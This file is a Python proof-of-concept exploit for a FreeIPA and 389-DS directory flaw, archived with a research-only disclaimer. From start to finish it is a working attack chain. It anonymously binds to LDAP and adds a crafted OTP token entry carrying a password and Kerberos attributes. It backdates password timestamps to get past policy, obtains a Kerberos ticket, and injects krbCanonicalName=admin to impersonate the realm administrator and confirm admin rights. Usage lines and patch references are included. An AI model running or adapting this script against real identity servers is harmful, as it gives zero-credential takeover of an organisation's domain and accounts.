#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/BrainBob/CVE-2026-76578 (see README for attribution/license)
"""
CVE-2026-76578 — FreeIPA Anonymous Kerberos Principal Injection
================================================================
Zero-credential attack chain — no pre-captured blob required.

Root causes:
  CVE-2026-76578  FreeIPA OTP ACI has no targetattr restriction, allowing
                  anonymous ADD of any attribute including userPassword,
                  krbPrincipalAux, and krbCanonicalName.
  CVE-2026-76560  389-DS SELFDN evaluator accepts "" as matching the
                  anonymous bind DN, bypassing the ipatokenOwner check.

Zero-credential key generation:
  Anonymous ADD includes objectClass=inetOrgPerson + userPassword.
  The 389-DS ipapwd password sync plugin automatically generates
  krbPrincipalKey from userPassword, encrypting it with the target realm's
  krbMKey — entirely server-side, no master key knowledge required.

  krbLastPwdChange=past + krbPasswordExpiration=future bypass the Kerberos
  minimum-password-lifetime policy that would otherwise block kinit.

Level 3 mechanism (krbCanonicalName collision):
  The kerberos name uniqueness plugin enforces cross-tree uniqueness on
  krbPrincipalName and krbPrincipalAlias but NOT on krbCanonicalName.
  Injecting krbCanonicalName=admin@REALM causes the KDC to issue a TGT
  whose cname is admin@REALM. The resulting ticket is indistinguishable from
  a ticket obtained by the real admin; GSSAPI resolves to uid=admin and full
  admin LDAP rights follow immediately — no group manipulation required.

Usage:
  python3 poc.py <target_ip> <ipa_hostname> <REALM>
  python3 poc.py 192.168.1.11 ipa-master.test.local TEST.LOCAL
  python3 poc.py 10.0.0.5 ipa.company.com COMPANY.COM

Tested against:
  FreeIPA 4.13.1 / Fedora 44 (389-ds-base 3.2.0-15.fc44) — all levels confirmed

Legal:
  Developed and executed in an isolated, privately owned lab environment for
  authorised security research only. Use only against systems you own or have
  explicit written permission to test. Verify applicability and behaviour
  against your specific target environment before drawing conclusions.
  The authors accept no liability for misuse.
"""
import ldap
import subprocess
import sys
import time

TARGET   = sys.argv[1] if len(sys.argv) > 1 else "192.168.1.11"
IPA_HOST = sys.argv[2] if len(sys.argv) > 2 else "ipa-master.test.local"
REALM    = sys.argv[3] if len(sys.argv) > 3 else "TEST.LOCAL"
BASE_DN  = "dc=" + ",dc=".join(REALM.lower().split("."))
PASS     = "PwnedPass1!"

C_OK   = "\033[92m"; C_FAIL = "\033[91m"; C_WARN = "\033[93m"
C_BOLD = "\033[1m";  C_END  = "\033[0m";  C_CYAN = "\033[96m"

def step(n, t): print(f"\n{C_CYAN}{C_BOLD}── TEST {n}: {t} {'─'*(48-len(t))}{C_END}")
def ok(m):   print(f"  {C_OK}[+]{C_END} {m}")
def fail(m): print(f"  {C_FAIL}[-]{C_END} {m}")
def warn(m): print(f"  {C_WARN}[~]{C_END} {m}")
def run(cmd, inp=None):
    r = subprocess.run(cmd, input=inp, capture_output=True, text=True, timeout=15)
    return r.returncode, r.stdout, r.stderr


# ── Anonymous bind ─────────────────────────────────────────────────────────────
l = ldap.initialize(f"ldap://{TARGET}")
l.set_option(ldap.OPT_NETWORK_TIMEOUT, 5)
l.simple_bind_s("", "")

ts = int(time.time())


# ── TEST 1: Anonymous ADD — server-side krbPrincipalKey generation (Level 1) ──
step(1, "Anonymous ADD — server-side krbPrincipalKey generation")
print(f"""
  {C_BOLD}Mechanism:{C_END}
    objectClass=inetOrgPerson allows userPassword in the ADD.
    389-DS ipapwd plugin converts userPassword → krbPrincipalKey using the
    target realm's krbMKey — entirely server-side, no master key needed.
    krbLastPwdChange=past bypasses the min-password-lifetime policy check.
""")

token_id  = f"pwn-{ts}"
principal = f"pwn-{ts}@{REALM}"
dn1       = f"ipatokenuniqueid={token_id},cn=otp,{BASE_DN}"

ml = [
    ("objectClass", [
        b"top", b"ipaToken", b"ipatokenTOTP",
        b"krbPrincipalAux",
        b"person", b"organizationalPerson", b"inetOrgPerson",
    ]),
    ("ipatokenuniqueid",     [token_id.encode()]),
    # CVE-2026-76560: SELFDN evaluator accepts "" as anonymous bind DN
    ("ipatokenOwner",        [b""]),
    ("managedBy",            [b""]),
    ("ipatokenOTPkey",       [b"GEZDGNBVGY3TQOJQGEZDGNBVGY3TQOJQ"]),
    ("ipatokenTOTPtimeStep", [b"30"]),
    ("ipatokenOTPalgorithm", [b"sha1"]),
    ("ipatokenOTPdigits",    [b"6"]),
    ("ipatokenDisabled",     [b"FALSE"]),
    ("cn",                   [token_id.encode()]),
    ("sn",                   [b"pwn"]),
    ("krbPrincipalName",     [principal.encode()]),
    # CVE-2026-76578: no targetattr restriction — userPassword passes through
    # 389-DS ipapwd plugin generates krbPrincipalKey server-side from this
    ("userPassword",         [PASS.encode()]),
    # Set past change date + future expiry to bypass krbMinPwdLife policy
    ("krbLastPwdChange",     [b"20200101000000Z"]),
    ("krbPasswordExpiration", [b"20990101000000Z"]),
]

level1_ok = False
try:
    l.add_s(dn1, ml)
    ok(f"ADD succeeded: {dn1}")
    ok(f"Server generated krbPrincipalKey from userPassword (ipapwd plugin)")
    ok(f"Principal registered: {principal}")

    print(f"\n  kinit {principal} / {PASS} ...")
    run(["kdestroy", "-q"])
    rc, out, err = run(["kinit", principal], inp=f"{PASS}\n")
    if rc == 0:
        ok("TGT obtained — LEVEL 1 CONFIRMED")
        level1_ok = True
        _, out2, _ = run(["klist", "-f"])
        for line in out2.strip().splitlines():
            print(f"    {line}")
    else:
        warn(f"kinit failed: {err.strip()[:140]}")

except ldap.INSUFFICIENT_ACCESS as e:
    fail(f"ADD blocked — ACI is patched:")
    fail(f"  {e.args[0].get('info', e.args[0].get('desc', ''))[:120]}")
    fail("Target is likely running 389-ds-base >= 3.2.0-10.el10_2 (RHSA-2026:64785)")
except ldap.OBJECT_CLASS_VIOLATION as e:
    fail(f"Schema violation — inetOrgPerson may be blocked: {e.args[0].get('info','')[:100]}")
except ldap.CONSTRAINT_VIOLATION as e:
    warn(f"Constraint violation: {e.args[0].get('info', '')[:120]}")
except ldap.LDAPError as e:
    fail(f"LDAP error: {e}")


# ── TEST 2: GSSAPI LDAP authentication (Level 2) ──────────────────────────────
step(2, "GSSAPI LDAP bind with the injected principal — Level 2")

level2_ok = False
rc, _, _ = run(["klist", "-s"])
if rc != 0:
    warn("No active TGT — skipping Level 2 (kinit must succeed first).")
else:
    try:
        import ldap.sasl
        l2 = ldap.initialize(f"ldap://{IPA_HOST}")
        l2.set_option(ldap.OPT_NETWORK_TIMEOUT, 10)
        l2.sasl_interactive_bind_s("", ldap.sasl.gssapi())
        whoami = l2.whoami_s()
        ok(f"GSSAPI bind succeeded: {whoami}")
        ok("LEVEL 2 CONFIRMED — Kerberos identity accepted by directory server")
        level2_ok = True
    except ldap.LDAPError as e:
        warn(f"GSSAPI bind failed: {e}")
        warn("Ensure /etc/hosts resolves IPA hostname and KRB5CCNAME is set.")


# ── TEST 3: krbCanonicalName collision → real admin TGT (Level 3) ─────────────
step(3, "krbCanonicalName=admin collision — Level 3 admin impersonation")
print(f"""
  {C_BOLD}Mechanism:{C_END}
    krbCanonicalName=admin@{REALM} is NOT covered by the Kerberos uniqueness plugin.
    The KDC issues a TGT with cname=admin@{REALM}.
    GSSAPI resolves this to uid=admin — already member of cn=admins.
    No group membership modification needed.
""")

level3_ok = False
token_id3  = f"lvl3-{ts}"
principal3 = f"lvl3-{ts}@{REALM}"
dn3        = f"ipatokenuniqueid={token_id3},cn=otp,{BASE_DN}"

ml3 = [
    ("objectClass", [
        b"top", b"ipaToken", b"ipatokenTOTP",
        b"krbPrincipalAux",
        b"person", b"organizationalPerson", b"inetOrgPerson",
    ]),
    ("ipatokenuniqueid",     [token_id3.encode()]),
    ("ipatokenOwner",        [b""]),
    ("managedBy",            [b""]),
    ("ipatokenOTPkey",       [b"GEZDGNBVGY3TQOJQGEZDGNBVGY3TQOJQ"]),
    ("ipatokenTOTPtimeStep", [b"30"]),
    ("ipatokenOTPalgorithm", [b"sha1"]),
    ("ipatokenOTPdigits",    [b"6"]),
    ("ipatokenDisabled",     [b"FALSE"]),
    ("cn",                   [token_id3.encode()]),
    ("sn",                   [b"lvl3"]),
    ("krbPrincipalName",     [principal3.encode()]),
    # krbCanonicalName=admin@REALM bypasses the uniqueness plugin
    ("krbCanonicalName",     [f"admin@{REALM}".encode()]),
    # userPassword → krbPrincipalKey via server-side ipapwd plugin (zero credential)
    ("userPassword",         [PASS.encode()]),
    ("krbLastPwdChange",     [b"20200101000000Z"]),
    ("krbPasswordExpiration", [b"20990101000000Z"]),
]

try:
    l.add_s(dn3, ml3)
    ok(f"ADD with krbCanonicalName=admin@{REALM} succeeded: {dn3}")

    print(f"\n  kinit {principal3} / {PASS} ...")
    run(["kdestroy", "-q"])
    rc, out, err = run(["kinit", principal3], inp=f"{PASS}\n")
    if rc == 0:
        _, klist_out, _ = run(["klist", "-f"])
        tgt_principal = next(
            (ln.split(":")[-1].strip() for ln in klist_out.splitlines()
             if "Default principal" in ln), "unknown"
        )
        ok(f"TGT obtained — ticket claims principal: {tgt_principal}")

        if "admin" in tgt_principal.lower():
            ok("TGT cname is admin — LEVEL 3 CONFIRMED")
            level3_ok = True
            for line in klist_out.strip().splitlines():
                print(f"    {line}")

            try:
                import ldap.sasl
                l3 = ldap.initialize(f"ldap://{IPA_HOST}")
                l3.set_option(ldap.OPT_NETWORK_TIMEOUT, 10)
                l3.sasl_interactive_bind_s("", ldap.sasl.gssapi())
                whoami3 = l3.whoami_s()
                ok(f"GSSAPI bind: {whoami3}")
                admins = l3.search_s(
                    f"cn=admins,cn=groups,cn=accounts,{BASE_DN}",
                    ldap.SCOPE_BASE, "(objectClass=*)", ["member"]
                )
                members = admins[0][1].get("member", [])
                if any(b"uid=admin" in m for m in members):
                    ok("uid=admin is member of cn=admins — real admin rights confirmed")
                ok(f"cn=admins has {len(members)} member(s)")
            except ldap.LDAPError as e:
                warn(f"GSSAPI confirm failed: {e}")
        else:
            warn(f"TGT cname not admin ({tgt_principal})")
    else:
        warn(f"kinit failed: {err.strip()[:140]}")

except ldap.CONSTRAINT_VIOLATION as e:
    warn(f"krbCanonicalName blocked by uniqueness plugin: {e.args[0].get('info','')[:100]}")
except ldap.INSUFFICIENT_ACCESS as e:
    fail(f"ADD blocked: {e.args[0].get('desc','')[:80]}")
except ldap.LDAPError as e:
    fail(f"LDAP error: {e}")


# ── Summary ────────────────────────────────────────────────────────────────────
print(f"\n{C_BOLD}{'═'*60}{C_END}")
print(f"{C_BOLD}  CVE-2026-76578 — Result Summary{C_END}")
print(f"{C_BOLD}{'═'*60}{C_END}")

def badge(ok): return f"{C_OK}[✓] CONFIRMED{C_END}" if ok else f"{C_FAIL}[✗] NOT achieved{C_END}"

print(f"  Level 1 — Server-side krbPrincipalKey + TGT    {badge(level1_ok)}")
print(f"  Level 2 — GSSAPI LDAP / Kerberos auth          {badge(level2_ok)}")
print(f"  Level 3 — Real admin group membership           {badge(level3_ok)}")
print()
if level3_ok:
    print(f"  {C_BOLD}Full zero-credential compromise chain reproduced.{C_END}")
    print(f"  No pre-captured blob required — krbPrincipalKey generated by")
    print(f"  the target server's own ipapwd plugin from the attacker's password.")
    print(f"  Fix: RHSA-2026:64785 (389-ds-base >= 3.2.0-10.el10_2)")
    print(f"       or FreeIPA >= 4.13.4 (tightens OTP ACI targetattr)")
else:
    print(f"  Level 3 blocked — see README.md for analysis.")
print()
